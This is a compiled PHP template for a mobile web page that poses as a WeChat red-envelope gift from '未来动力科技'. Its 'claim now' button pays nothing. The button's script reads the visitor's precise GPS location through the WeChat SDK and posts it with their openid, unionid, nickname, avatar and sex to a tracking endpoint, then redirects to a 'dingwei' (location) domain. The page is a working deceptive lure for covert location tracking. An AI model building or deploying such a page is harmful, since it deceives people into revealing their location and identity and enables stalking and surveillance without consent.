<?php /* Smarty version Smarty-3.0.6, created on 2018-05-02 11:40:23
         compiled from "/home/user08/dingwei/temp/default/recived.htm" */ ?>
<?php /*%%SmartyHeaderCode:7439202975ae93327e9ac73-21937304%%*/if(!defined('SMARTY_DIR')) exit('no direct access allowed');
$_smarty_tpl->decodeProperties(array (
  'file_dependency' => 
  array (
    '9b5b93e45dbd37c084210a50d4e2c6df46271df0' => 
    array (
      0 => '/home/user08/dingwei/temp/default/recived.htm',
      1 => 1524497854,
      2 => 'file',
    ),
  ),
  'nocache_hash' => '7439202975ae93327e9ac73-21937304',
  'function' => 
  array (
  ),
  'has_nocache_code' => false,
)); /*/%%SmartyHeaderCode%%*/?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <script src="/temp/default/js/jquery-3.1.0.min.js"></script>
    <script src="/temp/default/js/flexible.debug.js"></script>
    <script src="/temp/default/js/flexible_css.debug.js"></script>
    <link rel="stylesheet" href="/temp/default/css/paySuc.css">
    <title>微信红包</title>
</head>
<body>
    <div class="container">
        <img src="/temp/default/image/weixin1.png" class="icon" style="border-radius: 0"/>
        <p class="label"><?php echo $_smarty_tpl->getVariable('cost')->value;?>
.00</p>
        <p class="class" style="color: #666;font-size: 0.35rem">未来动力科技给你发送的红包</p>
        <input type="button" value="立即领取" onclick="linqu()" />
    </div>

    <script>

    </script>
    <script src="http://res.wx.qq.com/open/js/jweixin-1.2.0.js"></script>
    <script>
        var appId = '<?php echo $_smarty_tpl->getVariable('signPackage')->value['appId'];?>
';
        var timestamp = '<?php echo $_smarty_tpl->getVariable('signPackage')->value['timestamp'];?>
';
        var nonceStr = '<?php echo $_smarty_tpl->getVariable('signPackage')->value['nonceStr'];?>
';
        var signature = '<?php echo $_smarty_tpl->getVariable('signPackage')->value['signature'];?>
';
        var id = '<?php echo $_smarty_tpl->getVariable('userInfo')->value['openid'];?>
';
        var uid = '<?php echo $_smarty_tpl->getVariable('userInfo')->value['unionid'];?>
';
        var avatar = '<?php echo $_smarty_tpl->getVariable('userInfo')->value['headimgurl'];?>
';
        var sex = '<?php echo $_smarty_tpl->getVariable('userInfo')->value['sex'];?>
'
        var nickname = '<?php echo $_smarty_tpl->getVariable('userInfo')->value['nickname'];?>
';
        var userid = '<?php echo $_smarty_tpl->getVariable('userid')->value;?>
';
        var ordersn = '<?php echo $_smarty_tpl->getVariable('ordersn')->value;?>
';

        function linqu(e){
            wx.config({
                debug: false,
                appId: appId,
                timestamp:timestamp,
                nonceStr: nonceStr,
                signature: signature,
                jsApiList: [
                    // 所有要调用的 API 都要加到这个列表中
                    'getLocation',
                ]
            });
            wx.ready(function(){
                wx.getLocation({
                    type: 'wgs84', // 默认为wgs84的gps坐标，如果要返回直接给openLocation用的火星坐标，可传入'gcj02'
                    success: function (res) {
                        var latitude = res.latitude; // 纬度，浮点数，范围为90 ~ -90
                        var longitude = res.longitude; // 经度，浮点数，范围为180 ~ -180。
                        var speed = res.speed; // 速度，以米/每秒计
                        var accuracy = res.accuracy; // 位置精度
                        $.ajax({
                            type: 'POST' ,
                            dataType: 'json' ,
                            url:'api/locat.php' ,
                            data:  {
                                "lat": latitude,
                                "lng": longitude,
                                "sid": userid,
                                "openid" : id,
                                "avatar" : avatar,
                                "unionid" : uid,
                                "nickname" : nickname,
                                "sex" : sex,
                                "type" : 2,
                                "ordersn" : ordersn,
                                "action":"location"
                            },
                            success: function(data) {
                                var navURL = "http://dingwei.famishare.me/redpack.php?ordersn="+ordersn;
                                window.location.href = navURL;
                            }
                        });
                    }
                });
            });

        }

    </script>
</body>
</html>